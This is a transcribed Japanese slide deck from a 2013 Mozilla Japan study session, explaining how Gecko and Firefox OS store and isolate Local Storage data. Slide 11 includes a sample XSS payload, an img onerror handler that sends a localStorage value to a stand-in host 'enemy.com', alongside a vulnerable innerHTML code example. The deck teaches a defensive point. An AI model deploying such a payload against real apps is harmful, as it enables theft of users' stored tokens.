SOPを理解する       2024/04/19 の勉強会で発表されたものですSOPを理解する       2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものです
 

GeckoのLocal Storageについて調べてみた

  • 1. GeckoのLocal Storageについて調べてみた FxOS Gecko勉強会 その2 2013.12.19 @ Mozilla Japan オフィス 2014.06.23 Updated
  • 2. 2 自己紹介 本発表は私の個人的な調査に基づくものです。 内容に誤りがあるかもしれませんがご了承ください 名前 西村 宗晃 (にしむねあ) ・https://www.facebook.com/muneaki.nishimura 職業 セキュリティエンジニア ・セキュア開発のコンサルティング ・Android端末~アプリの開発支援
  • 3. 3 Local Storageとは • HTTPクライアントに永続的なデータを保存する機能 ↔ Session Storage : セッション(ウィンドウが閉じるまで)の間だけ有効なデータを保存 • W3CのWeb Storage仕様の一部 ⁃ 元々はHTML5仕様の一部だったが、現在は独立 • key-value形式によるデータ管理 localStorage.setItem("foo","bar"); var foo = localStorage.getItem("foo"); // foo = "bar"
  • 4. 4 GeckoにおけるLocal Storageの実装① • Local Storageのデータは1つのSQLiteファイルに保存 ⁃ Firefoxブラウザ (Mac): ~/Library/Application Support/Firefox/Profiles/{profile}/webappsstore.sqlite ⁃ Firefox OS: /data/b2g/mozilla/{profile}/webappsstore.sqlite • webappsstore2テーブルのレコードとして保存 ⁃ 1組のkey-valueデータが1レコードに対応
  • 5. 5 GeckoにおけるLocal Storageの実装② scope key value secure owner moc.elpmaxe.:http:80 foo bar ※moc.elpmaxeは example.comを逆さにしたもの • scopeにより各オリジンのLocal Storageを分離 ⁃ 同一生成元ポリシー(RFC 6454)に基づくアクセス保護を実現 ⁃ Firefox OSでは、同一生成元ポリシー+サンドボックスによるアクセス保護を実現(次頁) • 例) http://example.com:80/ で foo=bar というデータを保存した場合 ⁃ scopeフィールドにデータのオリジン(スキーム+ホスト名+ポート番号)を保存
  • 6. 6 Firefox OSにおけるLocal Storageの保護① • Webアプリのサンドボックス ⁃ 端末内のアプリは固有のオリジン(app://)を持つ ⁃ 他のアプリのLocal Storageはアクセスできない • ブラウザAPIのサンドボックス ⁃ <iframe mozbrowser>で開かれたページはアプリと異なるサンドボックスを持つ ⁃ <iframe mozbrowser>のLocal Storageは呼び出し元のアプリから分離される
  • 7. 7 Firefox OSにおけるLocal Storageの保護② • これらのサンドボックスによるデータの保護はscopeで実現されている ⁃ = アプリID : Browser Contentフラグ(t/f) : ホスト名 : ポート番号 : スキーム アプリA (オリジン=app://hoge・アプリID=1005) アプリA内部のJavaScriptファイル 1005:f:egoh.:app <iframe src="http://example.com:80"> 1005:f:moc.elpmaxe.80:http <iframe src="http://example.com:80/" mozbrowser> 1005:t:moc.elpmaxe.80:http http://example.com:80 scope
  • 8. 8 Local Storage自体のアクセス制御① • 以下の場合はwindow.localStorageの参照が禁止される ⁃ GeckoのWeb Storage機能が無効化されている場合 ⁃ Preferenceの「dom.storage.enabled」が「false」 ⁃ Cookieの使用が無効化されている場合 ⁃ サイト別設定マネージャーの「Cookieデータの保存」が「拒否」 ⁃ Preferenceの「network.cookie.cookieBehavior」が「使用禁止(2)」 ⁃ Preferenceの「network.cookie.lifetimepolicy」が「毎回ユーザーに確認(1)」 ⁃ <iframe>にsandbox属性が適用されている場合 ⁃ ただしallow-same-originトークンが指定されていない場合のみ
  • 9. 9 Local Storage自体のアクセス制御② • 以下の場合はデータがストレージに保存されない(RAMにのみ保存される) ⁃ Cookieがセッションの間のみ有効である場合 ⁃ サイト別設定マネージャーの「Cookieデータの保存」が「セッション中のみ許可」 ⁃ Preferenceの「network.cookie.lifetimepolicy」が「ブラウザ終了時まで保存(2)」 ⁃ プライベートブラウジングモードで閲覧中の場合
  • 10. 10 アプリのLocal StorageとXSS脆弱性① • アプリにXSS脆弱性があるとLocal Storageのデータは盗み出せてしまう ⁃ CookieのようにJavaScriptからのアクセスを禁止する仕組みが無いため • Firefox OSのアプリにはXSSの保険的対策としてCSPが適用されている ⁃ しかしPrivileged AppのCSPには「unsafe-inline」が指定されているので DOMツリーにJavaScriptコードを出力しても動作してしまう (次頁参照) ⁃ Firefox OS v1.2のPrivileged Appでは「unsafe-inline」が外された模様 ⁃ XSSでLocal Storageを盗み出すのは困難になった
  • 11. 11 アプリのLocal StorageとXSS脆弱性② • 以下のようなコードがあるとLocal Storageのデータを盗まれてしまう var req = new XMLHttpRequest({mozSystem: true}); req.open('GET', destination, true); req.onreadystatechange = function(e) { var contact = JSON.parse(req.responseText); document.getElementById("email").innerHTML = contact.email; }; req.send(null); {"email":"<img src='d.png' onerror='document.location.href=¥"http://enemy.com? token=¥"+localStorage.getItem(¥"key¥");'>"} 脆弱なアプリのJavaScriptコード例 サーバがアプリに送るJSONデータ(攻撃コード)
  • 12. 12 宣伝:本を書きました「狐物語」 タイトル 狐物語 ページ数 68ページ 価格 1,000円(イベント頒布価格) 表紙 イラスト しのめり / @shino_merry デザイン siosio 目次 第一話 がいあハックス @bathtimefish 第二話 あぷりサポート @cattaka_net 第三話 すまほツイリオ @junkpot1212 第四話 もじらスライス にしむねあ 第五話 かえんワールド @meco300 URL http://techbooster-c85.appspot.com/#foxtory C85 3日目 西す24a TechBoosterにて発売